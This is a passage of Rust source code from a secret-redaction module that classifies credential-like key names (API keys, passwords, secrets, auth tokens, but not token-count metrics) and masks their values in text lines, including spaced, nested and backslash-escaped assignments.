940 newline.len(),
941 tok_start,
942 tok_end,
943 &redacted,
944 );
945 }
946 }
947 return out.map(|mut buf| {
948 buf.push_str(&body[copied_until..]);
949 buf.push_str(newline);
950 buf
951 });
952 }
953
954 let mut spaced = SpacedAssignment::None;
955 let mut containers: Vec<SanitizeContainerArm> = Vec::new();
956 while i < bytes.len() {
957 let tok_start = i;
958 while i < bytes.len() && !matches!(bytes[i], b' ' | b'\t') {
959 i += 1;
960 }
961 let tok_end = i;
962 let sep_start = i;
963 while i < bytes.len() && matches!(bytes[i], b' ' | b'\t') {
964 i += 1;
965 }
966 let next_sep = &body[sep_start..i];
967 let word = &body[tok_start..tok_end];
968 let trimmed = trim_word_punctuation(word);
969 if let SpacedAssignment::FlagValue(sensitivity) = spaced
970 && !trimmed.is_empty()
971 {
972 if matches!(trimmed, "=" | ":") {
973 spaced = SpacedAssignment::AwaitingValue(sensitivity);
974 continue;
975 }
976 spaced = SpacedAssignment::None;
977 let core = credential_word_core(trimmed);
978 let target = if core.is_empty() { trimmed } else { core };
979 if !trimmed.starts_with('-')
980 && ((policy == RedactionPolicy::KeyBased && sensitivity == KeySensitivity::Certain)
981 || value_looks_like_credential(target))
982 {
983 push_word_replacement(
984 &mut out,
985 &mut copied_until,
986 body,
987 newline.len(),
988 tok_start,
989 tok_end,
990 &word.replacen(target, REDACTED, 1),
991 );
992 continue;
993 }
994 }
995 if let SpacedAssignment::AwaitingValue(sensitivity) = spaced
996 && !trimmed.is_empty()
997 {
998 if let Some(open) = trimmed.chars().rfind(|c| matches!(c, '[' | '{')) {
999 let close = if open == '{' { '}' } else { ']' };
1000 if !trimmed.contains(close) && containers.len() < MAX_SANITIZE_CONTAINER_DEPTH {
1001 let in_object = open == '{';
1002 containers.push(SanitizeContainerArm {
1003 close,
1004 sensitivity,
1005 in_object,
1006 });
1007 if trimmed.chars().all(|c| matches!(c, '[' | '{' | '"' | '\'')) {
1008 spaced = if in_object {
1009 SpacedAssignment::None
1010 } else {
1011 SpacedAssignment::AwaitingValue(sensitivity)
1012 };
1013 continue;
1014 }
1015 }
1016 }
1017 if trimmed
1018 .chars()
1019 .all(|c| matches!(c, ']' | '}' | ',' | ';' | '"' | '\''))
1020 {
1021 pop_sanitize_containers(&mut containers, word);
1022 spaced = containers
1023 .last()
1024 .filter(|c| !c.in_object)
1025 .map_or(SpacedAssignment::None, |c| {
1026 SpacedAssignment::AwaitingValue(c.sensitivity)
1027 });
1028 continue;
1029 }
1030 if let Some(container) = containers.last()
1031 && container.in_object
1032 && trimmed.ends_with(':')
1033 && !trimmed.ends_with("://")
1034 {
1035 spaced = SpacedAssignment::AwaitingValue(container.sensitivity);
1036 continue;
1037 }
1038 let effective_policy = if sensitivity == KeySensitivity::IfShaped {
1039 RedactionPolicy::CredentialShaped
1040 } else {
1041 policy
1042 };
1043 match effective_policy {
1044 RedactionPolicy::KeyBased => {
1045 let buf = out
1046 .get_or_insert_with(|| String::with_capacity(body.len() + newline.len()));
1047 buf.push_str(&body[copied_until..tok_start]);
1048 buf.push_str(REDACTED);
1049 buf.push_str(next_sep);
1050 buf.push_str(newline);
1051 return out;
1052 }
1053 RedactionPolicy::CredentialShaped => {
1054 let core = credential_word_core(trimmed);
1055 if is_auth_scheme_word(core) {
1056 continue;
1057 }
1058 if value_looks_like_credential(core) {
1059 push_word_replacement(
1060 &mut out,
1061 &mut copied_until,
1062 body,
1063 newline.len(),
1064 tok_start,
1065 tok_end,
1066 &word.replacen(core, REDACTED, 1),
1067 );
1068 } else if has_bare_token
1069 && let Some(redacted) = mask_bare_secret_tokens(word, REDACTED)
1070 {
1071 push_word_replacement(
1072 &mut out,
1073 &mut copied_until,
1074 body,
1075 newline.len(),
1076 tok_start,
1077 tok_end,
1078 &redacted,
1079 );
1080 }
1081 pop_sanitize_containers(&mut containers, word);
1082 spaced = containers
1083 .last()
1084 .filter(|c| !c.in_object)
1085 .map_or(SpacedAssignment::None, |c| {
1086 SpacedAssignment::AwaitingValue(c.sensitivity)
1087 });
1088 continue;
1089 }
1090 }
1091 }
1092 if let Some(container) = containers.last().copied() {
1093 if trimmed
1094 .chars()
1095 .all(|c| matches!(c, ']' | '}' | ',' | ';' | '"' | '\''))
1096 {
1097 pop_sanitize_containers(&mut containers, word);
1098 spaced = containers
1099 .last()
1100 .filter(|c| !c.in_object)
1101 .map_or(SpacedAssignment::None, |c| {
1102 SpacedAssignment::AwaitingValue(c.sensitivity)
1103 });
1104 continue;
1105 }
1106 if container.in_object
1107 && trimmed.ends_with(':')
1108 && !trimmed.ends_with("://")
1109 && !trimmed[..trimmed.len() - 1].contains(['=', ':'])
1110 {
1111 spaced = SpacedAssignment::AwaitingValue(container.sensitivity);
1112 continue;
1113 }
1114 }
1115 let next_spaced = spaced.advance(trimmed);
1116 let has_structural = contains_structural_delimiter(trimmed.as_bytes());
1117 if let Some(redacted) =
1118 redact_inline_keyed_assignment_with(trimmed, policy, has_bare_token, has_structural)
1119 {
1120 push_word_replacement(
1121 &mut out,
1122 &mut copied_until,
1123 body,
1124 newline.len(),
1125 tok_start,
1126 tok_end,
1127 &word.replace(trimmed, &redacted),
1128 );
1129 if !containers.is_empty() || !matches!(next_spaced, SpacedAssignment::None) {
1130 spaced = next_spaced;
1131 if matches!(spaced, SpacedAssignment::None) {
1132 pop_sanitize_containers(&mut containers, word);
1133 if let Some(c) = containers.last().filter(|c| !c.in_object) {
1134 spaced = SpacedAssignment::AwaitingValue(c.sensitivity);
1135 }
1136 }
1137 } else {
1138 spaced = SpacedAssignment::None;
1139 }
1140 } else if has_bare_token && let Some(core) = secret_token_core(trimmed) {
1141 push_word_replacement(
1142 &mut out,
1143 &mut copied_until,
1144 body,
1145 newline.len(),
1146 tok_start,
1147 tok_end,
1148 &word.replacen(core, REDACTED, 1),
1149 );
1150 spaced = SpacedAssignment::None;
1151 } else if has_structural
1152 && let Some(redacted) =
1153 redact_structured_word_with(trimmed, policy, has_bare_token, true)
1154 {
1155 push_word_replacement(
1156 &mut out,
1157 &mut copied_until,
1158 body,
1159 newline.len(),
1160 tok_start,
1161 tok_end,
1162 &word.replace(trimmed, &redacted),
1163 );
1164 spaced = SpacedAssignment::None;
1165 } else if has_bare_token
1166 && has_structural
1167 && let Some(redacted) = mask_bare_secret_tokens(word, REDACTED)
1168 {
1169 push_word_replacement(
1170 &mut out,
1171 &mut copied_until,
1172 body,
1173 newline.len(),
1174 tok_start,
1175 tok_end,
1176 &redacted,
1177 );
1178 spaced = SpacedAssignment::None;
1179 } else {
1180 spaced = next_spaced;
1181 }
1182 }
1183
1184 out.map(|mut buf| {
1185 buf.push_str(&body[copied_until..]);
1186 buf.push_str(newline);
1187 buf
1188 })
1189 }
1190
1191 /// Progress through a `key <space> <sep> <space> value` assignment as the
1192 /// word-level pass walks a line.
1193 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
1194 enum SpacedAssignment {
1195 None,
1196 /// The previous word was a bare sensitive key awaiting its separator.
1197 SensitiveKey(KeySensitivity),
1198 /// A sensitive key and its separator are both behind us.
1199 AwaitingValue(KeySensitivity),
1200 FlagValue(KeySensitivity),
1201 }
1202
1203 fn trailing_key_sensitivity(chunk: &str) -> KeySensitivity {
1204 let mut current = chunk;
1205 for _ in 0..3 {
1206 let (core, _, _) = split_value_quotes(
1207 current.trim_matches(|c| matches!(c, '{' | '}' | '[' | ']' | '(' | ')')),
1208 );
1209 if !core.contains(['=', ':']) {
1210 return key_sensitivity(core);
1211 }
1212 let Some((outer, rest)) = core.split_once(['=', ':']) else {
1213 return KeySensitivity::None;
1214 };
1215 if rest.starts_with("//") || key_sensitivity(outer) != KeySensitivity::None {
1216 return KeySensitivity::None;
1217 }
1218 current = rest;
1219 }
1220 KeySensitivity::None
1221 }
1222
1223 impl SpacedAssignment {
1224 fn advance(self, trimmed: &str) -> Self {
1225 // Runs of spaces produce empty words; they neither start nor cancel an
1226 // assignment.
1227 if trimmed.is_empty() {
1228 return self;
1229 }
1230 let chunk = last_escaped_chunk(trimmed);
1231 if matches!(chunk, "=" | ":") {
1232 return match self {
1233 Self::SensitiveKey(sensitivity) => Self::AwaitingValue(sensitivity),
1234 _ => Self::None,
1235 };
1236 }
1237 // `api_key=` / `api_key:` with the value in the next word. A word whose
1238 // separator is *not* final was already offered to
1239 // `redact_inline_keyed_assignment`, so it is not an assignment we own.
1240 if let Some(key) = chunk.strip_suffix('=').or_else(|| chunk.strip_suffix(':')) {
1241 let sensitivity = trailing_key_sensitivity(key);
1242 return if sensitivity.is_armed() {
1243 Self::AwaitingValue(sensitivity)
1244 } else {
1245 Self::None
1246 };
1247 }
1248 if !chunk.contains(['=', ':']) {
1249 let sensitivity = key_sensitivity(chunk);
1250 if sensitivity.is_armed() {
1251 return if chunk.starts_with('-') {
1252 Self::FlagValue(sensitivity)
1253 } else {
1254 Self::SensitiveKey(sensitivity)
1255 };
1256 }
1257 }
1258 Self::None
1259 }
1260 }
1261
1262 /// Return the trailing slice of `text` after its last backslash escape delimiter
1263 /// (such as `\n`, `\r`, `\t`, or `\u00XX`), or all of `text` when none exists.
1264 #[must_use]
1265 pub fn last_escaped_chunk(text: &str) -> &str {
1266 let mut chunk_start = 0;
1267 let mut cursor = 0;
1268 while let Some(rel) = text[cursor..].find('\\') {
1269 let idx = cursor + rel;
1270 if let Some(delim_end) = escape_delimiter_end(text, idx) {
1271 chunk_start = delim_end;
1272 cursor = delim_end;
1273 } else if text[idx + 1..].starts_with('\\') {
1274 cursor = idx + 2;
1275 } else {
1276 cursor = idx + 1;
1277 }
1278 }
1279 &text[chunk_start..]
1280 }
1281
1282 fn credential_word_core(mut s: &str) -> &str {
1283 loop {
1284 let next = s.trim_matches(|c| matches!(c, '(' | '[' | '{' | ')' | ']' | '}' | ',' | ';'));
1285 let next = next
1286 .strip_prefix("\\\"")
1287 .or_else(|| next.strip_prefix("\\'"))
1288 .or_else(|| next.strip_prefix(['"', '\'']))
1289 .unwrap_or(next);
1290 let next = next
1291 .strip_suffix("\\\"")
1292 .or_else(|| next.strip_suffix("\\'"))
1293 .or_else(|| next.strip_suffix(['"', '\'']))
1294 .unwrap_or(next);
1295 if next.len() == s.len() {
1296 return next;
1297 }
1298 s = next;
1299 }
1300 }
1301
1302 #[inline]
1303 fn is_structural_delimiter_byte(b: u8) -> bool {
1304 matches!(b, b'{' | b'}' | b'[' | b']' | b',' | b'&' | b'?')
1305 }
1306
1307 #[inline]
1308 fn contains_structural_delimiter(bytes: &[u8]) -> bool {
1309 bytes.iter().any(|&b| is_structural_delimiter_byte(b))
1310 }
1311
1312 fn redact_structured_word_with(
1313 word: &str,
1314 policy: RedactionPolicy,
1315 has_bare_token: bool,
1316 has_key_hint: bool,
1317 ) -> Option<String> {
1318 let bytes = word.as_bytes();
1319 let mut out: Option<String> = None;
1320 let mut copied_until = 0usize;
1321 let mut start = 0usize;
1322 let mut saw_delim = false;
1323 for (idx, &b) in bytes.iter().enumerate() {
1324 if !is_structural_delimiter_byte(b) {
1325 continue;
1326 }
1327 saw_delim = true;
1328 let segment = &word[start..idx];
1329 if let Some(redacted) =
1330 redact_structured_segment(segment, policy, has_bare_token, has_key_hint)
1331 {
1332 let buf = out.get_or_insert_with(|| String::with_capacity(word.len()));
1333 buf.push_str(&word[copied_until..start]);
1334 buf.push_str(&redacted);
1335 copied_until = idx;
1336 }
1337 start = idx + 1;
1338 }
1339 if !saw_delim {
1340 return None;
1341 }
1342 let tail = &word[start..];
1343 if let Some(redacted) = redact_structured_segment(tail, policy, has_bare_token, has_key_hint) {
1344 let buf = out.get_or_insert_with(|| String::with_capacity(word.len()));
1345 buf.push_str(&word[copied_until..start]);
1346 buf.push_str(&redacted);
1347 copied_until = word.len();
1348 }
1349 out.map(|mut buf| {
1350 buf.push_str(&word[copied_until..]);
1351 buf
1352 })
1353 }
1354
1355 fn redact_structured_segment(
1356 segment: &str,
1357 policy: RedactionPolicy,
1358 has_bare_token: bool,
1359 has_key_hint: bool,
1360 ) -> Option<String> {
1361 if segment.is_empty() {
1362 return None;
1363 }
1364 if !has_bare_token && !segment.as_bytes().iter().any(|&b| matches!(b, b'=' | b':')) {
1365 return None;
1366 }
1367 let already_masked = segment.split_once(['=', ':']).is_some_and(|(_, value)| {
1368 let (core, _, _) = split_value_quotes(value);
1369 !core.is_empty() && core.chars().all(|c| c == '*')
1370 });
1371 if already_masked {
1372 return None;
1373 }
1374 if has_key_hint {
1375 if let Some(redacted) =
1376 redact_inline_keyed_assignment_with(segment, policy, has_bare_token, false)
1377 {
1378 return Some(redacted);
1379 }
1380 } else if has_bare_token && let Some(redacted) = mask_bare_secret_tokens(segment, REDACTED) {
1381 return Some(redacted);
1382 }
1383 if has_bare_token {
1384 let (core, _, _) = split_value_quotes(segment);
1385 let core = core.trim_end_matches(['"', '\'']);
1386 if !core.is_empty() && looks_like_secret_token(core) {
1387 return Some(segment.replacen(core, REDACTED, 1));
1388 }
1389 }
1390 None
1391 }
1392
1393 fn trim_word_punctuation(word: &str) -> &str {
1394 word.trim_matches(|c| matches!(c, '"' | '\'' | ',' | ';'))
1395 }
1396
1397 /// How strongly a normalized key name indicates credential material.
1398 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
1399 pub enum KeySensitivity {
1400 /// Not credential-bearing (e.g. prose or a usage metric such as `max_tokens`).
1401 None,
1402 /// Sensitive when paired with a credential-shaped value (e.g. `tokens`).
1403 IfShaped,
1404 /// Always names a credential (`api_key`, `api_tokens`, `password`).
1405 Certain,
1406 }
1407
1408 impl KeySensitivity {
1409 /// Whether this key sensitivity arms a following value for inspection.
1410 #[must_use]
1411 pub const fn is_armed(self) -> bool {
1412 !matches!(self, Self::None)
1413 }
1414 }
1415
1416 const TOKEN_METRIC_NAMES: &[&str] = &[
1417 "tokenizer",
1418 "tokenization",
1419 "tokenized",
1420 "max_tokens",
1421 "maxtokens",
1422 "min_tokens",
1423 "mintokens",
1424 "input_tokens",
1425 "inputtokens",
1426 "output_tokens",
1427 "outputtokens",
1428 "prompt_tokens",
1429 "prompttokens",
1430 "completion_tokens",
1431 "completiontokens",
1432 "total_tokens",
1433 "totaltokens",
1434 "num_tokens",
1435 "numtokens",
1436 "count_tokens",
1437 "counttokens",
1438 "cache_tokens",
1439 "cached_tokens",
1440 "reasoning_tokens",
1441 "thought_tokens",
1442 "context_tokens",
1443 "billable_tokens",
1444 "subtokens",
1445 "tokens_used",
1446 "tokens_left",
1447 "tokens_remaining",
1448 "tokens_limit",
1449 "tokens_per_sec",
1450 "tokens_per_second",
1451 "token_count",
1452 "tokencount",
1453 "token_counts",
1454 "token_limit",
1455 "tokenlimit",
1456 "token_limits",
1457 "token_budget",
1458 "tokenbudget",
1459 "token_budgets",
1460 "token_usage",
1461 "token_used",
1462 "token_total",
1463 "token_totals",
1464 "token_window",
1465 "token_windows",
1466 ];
1467
1468 fn is_token_metric_name(key_norm: &str) -> bool {
1469 TOKEN_METRIC_NAMES.iter().any(|metric| {
1470 key_norm == *metric
1471 || key_norm
1472 .strip_suffix(metric)
1473 .is_some_and(|prefix| prefix.ends_with('_'))
1474 || key_norm
1475 .strip_prefix(metric)
1476 .is_some_and(|suffix| suffix.starts_with('_'))
1477 })
1478 }
1479
1480 fn raw_may_be_sensitive_key(bytes: &[u8]) -> bool {
1481 if bytes.len() < 5 {
1482 return false;
1483 }
1484 let mut saw_key_prefix = false;
1485 let mut key_prefix_checked = 0usize;
1486 for (i, &b) in bytes.iter().enumerate() {
1487 match b {
1488 b'k' | b'K' => {
1489 if i >= 2
1490 && i + 3 <= bytes.len()
1491 && bytes[i - 2..i + 3].eq_ignore_ascii_case(b"token")
1492 {
1493 return true;
1494 }
1495 if i + 3 <= bytes.len() && bytes[i..i + 3].eq_ignore_ascii_case(b"key") {
1496 if !saw_key_prefix {
1497 let start = key_prefix_checked.saturating_sub(6);
1498 if has_key_compound_prefix(&bytes[start..i]) {
1499 saw_key_prefix = true;
1500 }
1501 key_prefix_checked = i;
1502 }
1503 if saw_key_prefix {
1504 return true;
1505 }
1506 }
1507 }
1508 b'c' | b'C' => {
1509 if i >= 2
1510 && i + 4 <= bytes.len()
1511 && bytes[i - 2..i + 4].eq_ignore_ascii_case(b"secret")
1512 {
1513 return true;
1514 }
1515 }
1516 b'w' | b'W' => {
1517 if i >= 4 && bytes[i - 4..i].eq_ignore_ascii_case(b"pass") {
1518 return true;
1519 }
1520 }
1521 b'z' | b'Z'
1522 if i >= 7
1523 && i + 6 <= bytes.len()
1524 && bytes[i - 7..i + 6].eq_ignore_ascii_case(b"authorization") =>
1525 {
1526 return true;
1527 }
1528 _ => {}
1529 }
1530 }
1531 false
1532 }
1533
1534 fn normalize_sensitive_key_into(raw: &[u8], buf: &mut [u8]) -> usize {
1535 let mut len = 0usize;
1536 let mut prev: Option<u8> = None;
1537 for i in 0..raw.len() {
1538 let b = raw[i];
1539 if b.is_ascii_alphanumeric() {
1540 let next = raw.get(i + 1).copied();
1541 let starts_case_segment = b.is_ascii_uppercase()
1542 && prev.is_some_and(|p| {
1543 p.is_ascii_lowercase()
1544 || p.is_ascii_digit()
1545 || (p.is_ascii_uppercase() && next.is_some_and(|n| n.is_ascii_lowercase()))
1546 });
1547 if starts_case_segment && len > 0 && buf[len - 1] != b'_' {
1548 buf[len] = b'_';
1549 len += 1;
1550 }
1551 buf[len] = b.to_ascii_lowercase();
1552 len += 1;
1553 } else if len > 0 && buf[len - 1] != b'_' {
1554 buf[len] = b'_';
1555 len += 1;
1556 }
1557 prev = Some(b);
1558 }
1559 while len > 0 && buf[len - 1] == b'_' {
1560 len -= 1;
1561 }
1562 len
1563 }
1564
1565 fn key_sensitivity_normalized(key_norm: &str) -> KeySensitivity {
1566 let names_an_outcome = key_norm.rsplit('_').next().is_some_and(|last| {
1567 matches!(
1568 last,
1569 "failed"
1570 | "failure"
1571 | "error"
1572 | "denied"
1573 | "rejected"
1574 | "refused"
1575 | "expired"
1576 | "invalid"
1577 | "required"
1578 | "missing"
1579 )
1580 });
1581 if key_norm.is_empty() || names_an_outcome {
1582 return KeySensitivity::None;
1583 }
1584 if SENSITIVE_KEY_HINTS
1585 .iter()
1586 .any(|hint| *hint != "token" && key_matches_sensitive_hint(key_norm, hint))
1587 {
1588 return KeySensitivity::Certain;
1589 }
1590 if key_norm.contains("token") {
1591 if key_norm == "tokens" {
1592 return KeySensitivity::IfShaped;
1593 }
1594 if is_token_metric_name(key_norm) {
1595 return KeySensitivity::None;
1596 }
1597 if key_matches_sensitive_hint(key_norm, "token")
1598 || key_norm.ends_with("tokens")
1599 || key_norm.ends_with("token")
1600 || key_norm
1601 .split(['_', '-'])
1602 .any(|segment| matches!(segment, "token" | "tokens"))
1603 {
1604 return KeySensitivity::Certain;
1605 }
1606 }
1607 KeySensitivity::None
1608 }
1609
1610 /// Classify how strongly `raw` names a credential rather than prose or a token metric.
1611 #[must_use]
1612 pub fn key_sensitivity(raw: &str) -> KeySensitivity {
1613 let bytes = raw.as_bytes();
1614 if !raw_may_be_sensitive_key(bytes) {
1615 return KeySensitivity::None;
1616 }
1617 if bytes.len() <= 128 {
1618 let mut buf = [0u8; 256];
1619 let len = normalize_sensitive_key_into(bytes, &mut buf);
1620 if let Ok(key_norm) = std::str::from_utf8(&buf[..len]) {
1621 return key_sensitivity_normalized(key_norm);
1622 }
1623 }
1624 let key_norm = normalize_sensitive_key(raw);
1625 key_sensitivity_normalized(&key_norm)
1626 }
1627
1628 /// Whether `raw`, normalized the way a config/env/JSON key is, matches a
1629 /// [`SENSITIVE_KEY_HINTS`] credential identifier.
1630 fn key_is_sensitive(raw: &str) -> bool {
1631 key_sensitivity(raw).is_armed()
1632 }
1633
1634 /// Normalize the identifier boundaries commonly used by config, env, and JSON
1635 /// keys without turning English plurals such as `tokens` into `token`.
1636 ///
1637 /// Punctuation and case transitions become `_`, so `oauth.token`,
1638 /// `accessToken`, and `APIKey` share the same matching surface as
1639 /// `oauth_token`, `access_token`, and `api_key`.
1640 #[must_use]
1641 pub fn normalize_sensitive_key(raw: &str) -> String {
1642 let mut normalized = String::with_capacity(raw.len());
1643 let mut chars = raw.chars().peekable();
1644 let mut previous = None;
1645
1646 while let Some(ch) = chars.next() {
1647 if ch.is_ascii_alphanumeric() {
1648 let next = chars.peek().copied();
1649 let starts_case_segment = ch.is_ascii_uppercase()
1650 && previous.is_some_and(|previous: char| {
1651 previous.is_ascii_lowercase()
1652 || previous.is_ascii_digit()
1653 || (previous.is_ascii_uppercase()
1654 && next.is_some_and(|next| next.is_ascii_lowercase()))
1655 });
1656 if starts_case_segment && !normalized.is_empty() && !normalized.ends_with('_') {
1657 normalized.push('_');
1658 }
1659 normalized.push(ch.to_ascii_lowercase());
1660 } else if !normalized.is_empty() && !normalized.ends_with('_') {
1661 normalized.push('_');
1662 }
1663 previous = Some(ch);
1664 }
1665
1666 while normalized.ends_with('_') {
1667 normalized.pop();
1668 }
1669 normalized
1670 }
1671
1672 fn key_matches_sensitive_hint(key_norm: &str, hint: &str) -> bool {
1673 if key_norm == hint {
1674 return true;
1675 }
1676 // Compound hints already name a credential (`api_key`, `client_secret`).
1677 // Substring is the right match: `openai_api_key` contains `api_key`.
1678 if hint.contains('_') || hint.contains('-') {
1679 return key_norm.contains(hint);
1680 }
1681 if hint == "token" {
1682 // Camel-case normalization turns both credentials (`accessToken`) and
1683 // ordinary usage metrics (`tokenBudget`, `tokenCount`) into segmented
1684 // identifiers. A credential token is either the whole key, a suffix
1685 // such as `access_token`, or an explicitly value-bearing `token_*`
1686 // field. Metrics must stay visible in diagnostics and tool previews.
1687 let is_metric_suffix = |suffix: &str| {
1688 matches!(
1689 suffix.split('_').next(),
1690 Some(
1691 "budget"
1692 | "budgets"
1693 | "count"
1694 | "counts"
1695 | "limit"
1696 | "limits"
1697 | "total"
1698 | "totals"
1699 | "usage"
1700 | "used"
1701 | "window"
1702 | "windows"
1703 )
1704 )
1705 };
1706 if key_norm.ends_with("_token") {
1707 return true;
1708 }
1709 if let Some(suffix) = key_norm.strip_prefix("token_") {
1710 return !is_metric_suffix(suffix);
1711 }
1712 if let Some((_, suffix)) = key_norm.rsplit_once("_token_") {
1713 return !is_metric_suffix(suffix);
1714 }
1715 return false;
1716 }
1717 // Single-word hints must be a whole identifier segment so `token`
1718 // redacts `token` / `api_token` and not English `tokens`.
1719 if key_norm.split(['_', '-']).any(|segment| segment == hint) {
1720 return true;
1721 }
1722 matches!(hint, "secret" | "password" | "passwd") && key_norm.ends_with(hint)
1723 }
1724
1725 const MAX_NESTED_ASSIGNMENT_DEPTH: u8 = 3;
1726
1727 fn redact_single_keyed_assignment(word: &str, policy: RedactionPolicy) -> Option<String> {
1728 redact_single_keyed_assignment_at(word, policy, 0)
1729 }
1730
1731 fn redact_single_keyed_assignment_at(
1732 word: &str,
1733 policy: RedactionPolicy,
1734 depth: u8,
1735 ) -> Option<String> {
1736 let sep_idx = word.find(['=', ':'])?;
1737 let (raw_key, rest) = word.split_at(sep_idx);
1738 let raw_value = &rest[1..];
1739 if raw_value.is_empty() {
1740 return None;
1741 }
1742 let sensitivity = key_sensitivity(raw_key);
1743 if sensitivity.is_armed() {
1744 let (core, lead_quote, trail_quote) = split_value_quotes(raw_value);
1745 let shaped_only =
1746 policy == RedactionPolicy::CredentialShaped || sensitivity == KeySensitivity::IfShaped;
1747 return match shaped_only {
1748 false => {
1749 if lead_quote.is_empty() && !trail_quote.is_empty() {
1750 Some(format!(
1751 "{}{}{}{}",
1752 raw_key,
1753 &rest[..1],
1754 REDACTED,
1755 trail_quote
1756 ))
1757 } else {
1758 Some(format!("{}{}{}", raw_key, &rest[..1], REDACTED))
1759 }
1760 }
1761 true => {
1762 if !value_looks_like_credential(core) {
1763 return None;
1764 }
1765 Some(format!(
1766 "{}{}{lead_quote}{REDACTED}{trail_quote}",
1767 raw_key,
1768 &rest[..1]
1769 ))
1770 }
1771 };
1772 }
1773 if depth < MAX_NESTED_ASSIGNMENT_DEPTH && !raw_value.starts_with("//") {
1774 let (core, lead_quote, trail_quote) = split_value_quotes(raw_value);
1775 if core.contains('\\')
1776 && let Some(redacted) = redact_backslash_assignments_at(core, policy, depth + 1)
1777 {
1778 return Some(format!(
1779 "{}{}{lead_quote}{redacted}{trail_quote}",
1780 raw_key,
1781 &rest[..1]
1782 ));
1783 }
1784 if !core.contains("://")
1785 && let Some(redacted) = redact_single_keyed_assignment_at(core, policy, depth + 1)
1786 {
1787 return Some(format!(
1788 "{}{}{lead_quote}{redacted}{trail_quote}",
1789 raw_key,
1790 &rest[..1]
1791 ));
1792 }
1793 }
1794 None
1795 }
1796
1797 /// If `text` at byte offset `idx` begins a backslash escape delimiter (such as
1798 /// `\n`, `\r`, `\t`, `\b`, `\f`, or delimiter `\u00XX`), return the byte index
1799 /// immediately following that escape sequence.
1800 #[must_use]
1801 pub fn escape_delimiter_end(text: &str, idx: usize) -> Option<usize> {
1802 let after = text.get(idx + 1..)?;
1803 if after.starts_with(['n', 'r', 't', 'b', 'f']) {
1804 return Some(idx + 2);
1805 }
1806 if let Some(rest) = after.strip_prefix('\\')
1807 && rest.starts_with(['n', 'r', 't', 'b', 'f'])
1808 {
1809 return Some(idx + 3);
1810 }
1811 if let Some(rest) = after.strip_prefix('u')
1812 && let Some(hex) = rest.get(..4)
1813 && hex.chars().all(|c| c.is_ascii_hexdigit())
1814 && hex[..2] == *"00"
1815 && u8::from_str_radix(&hex[2..4], 16).is_ok_and(|b| {
1816 b <= 0x20
1817 || matches!(
1818 b,
1819 b'<' | b'>'
1820 | b'&'
1821 | b'?'
1822 | b','
1823 | b';'
1824 | b'|'
1825 | b'('
1826 | b')'
1827 | b'['
1828 | b']'
1829 | b'{'
1830 | b'}'
1831 )
1832 })
1833 {
1834 return Some(idx + 6);
1835 }
1836 None
1837 }
1838
1839 fn redact_backslash_assignments(text: &str, policy: RedactionPolicy) -> Option<String> {
1840 redact_backslash_assignments_at(text, policy, 0)
1841 }
1842
1843 fn redact_backslash_chunk(
1844 chunk: &str,
1845 pending_arm: &mut Option<KeySensitivity>,
1846 policy: RedactionPolicy,
1847 depth: u8,
1848 ) -> Option<String> {
1849 if let Some(sensitivity) = pending_arm.take() {
1850 let (core, lead_quote, trail_quote) = split_value_quotes(chunk);
1851 if !core.is_empty() {
1852 let shaped_only = policy == RedactionPolicy::CredentialShaped
1853 || sensitivity == KeySensitivity::IfShaped;
1854 if !shaped_only || value_looks_like_credential(core) {
1855 return Some(format!("{lead_quote}{REDACTED}{trail_quote}"));
1856 }
1857 }
1858 }
1859 if let Some(key) = chunk.strip_suffix('=').or_else(|| chunk.strip_suffix(':')) {
1860 let sensitivity = trailing_key_sensitivity(key);
1861 if sensitivity.is_armed() {
1862 *pending_arm = Some(sensitivity);
1863 return None;
1864 }
1865 }
1866 redact_single_keyed_assignment_at(chunk, policy, depth)
1867 }
1868
1869 fn redact_backslash_assignments_at(
1870 text: &str,
1871 policy: RedactionPolicy,
1872 depth: u8,
1873 ) -> Option<String> {
1874 let mut out = String::new();
1875 let mut changed = false;
1876 let mut pending_arm: Option<KeySensitivity> = None;
1877 let mut chunk_start = 0;
1878 let mut cursor = 0;
1879 while let Some(rel) = text[cursor..].find('\\') {
1880 let idx = cursor + rel;
1881 if let Some(delim_end) = escape_delimiter_end(text, idx) {
1882 let chunk = &text[chunk_start..idx];
1883 if !changed {
1884 if let Some(redacted) =
1885 redact_backslash_chunk(chunk, &mut pending_arm, policy, depth)
1886 {
1887 out.reserve(text.len());
1888 out.push_str(&text[..chunk_start]);
1889 out.push_str(&redacted);
1890 out.push_str(&text[idx..delim_end]);
1891 changed = true;
1892 }
1893 } else {
1894 if let Some(redacted) =
1895 redact_backslash_chunk(chunk, &mut pending_arm, policy, depth)
1896 {
1897 out.push_str(&redacted);
1898 } else {
1899 out.push_str(chunk);
1900 }
1901 out.push_str(&text[idx..delim_end]);
1902 }
1903 chunk_start = delim_end;
1904 cursor = delim_end;
1905 } else if text[idx + 1..].starts_with('\\') {
1906 cursor = idx + 2;
1907 } else {
1908 cursor = idx + 1;
1909 }
1910 }
1911 if chunk_start == 0 {
1912 return None;
1913 }
1914 let tail = &text[chunk_start..];
1915 if let Some(redacted) = redact_backslash_chunk(tail, &mut pending_arm, policy, depth) {
1916 if !changed {
1917 out.reserve(text.len());
1918 out.push_str(&text[..chunk_start]);
1919 }
1920 out.push_str(&redacted);
1921 changed = true;
1922 } else if changed {
1923 out.push_str(tail);
1924 }
1925 changed.then_some(out)
1926 }
1927
1928 fn redact_inline_keyed_assignment_with(
1929 word: &str,
1930 policy: RedactionPolicy,
1931 has_bare_token: bool,
1932 has_structural: bool,
1933 ) -> Option<String> {
1934 let bytes = word.as_bytes();
1935 let has_sep = bytes.iter().any(|&b| matches!(b, b'=' | b':'));
1936 if has_sep {
1937 if !has_structural
1938 && bytes.contains(&b'\\')
1939 && let Some(redacted) = redact_backslash_assignments(word, policy)
1940 {
1941 return if has_bare_token {
1942 mask_bare_secret_tokens(&redacted, REDACTED).or(Some(redacted))
1943 } else {
1944 Some(redacted)
1945 };
1946 }
1947 if let Some(redacted) = redact_single_keyed_assignment(word, policy) {
1948 return if has_bare_token {
1949 mask_bare_secret_tokens(&redacted, REDACTED).or(Some(redacted))
1950 } else {
1951 Some(redacted)
1952 };
1953 }
1954 }
1955 if has_structural || !has_bare_token {
1956 return None;
1957 }
1958 mask_bare_secret_tokens(word, REDACTED)
1959 }
1960
1961 /// Whether a word announces an HTTP auth scheme whose credential follows.
1962 fn is_auth_scheme_word(word: &str) -> bool {
1963 matches!(
1964 word,
1965 "Bearer" | "bearer" | "Basic" | "basic" | "Token" | "token"
1966 )
1967 }
1968
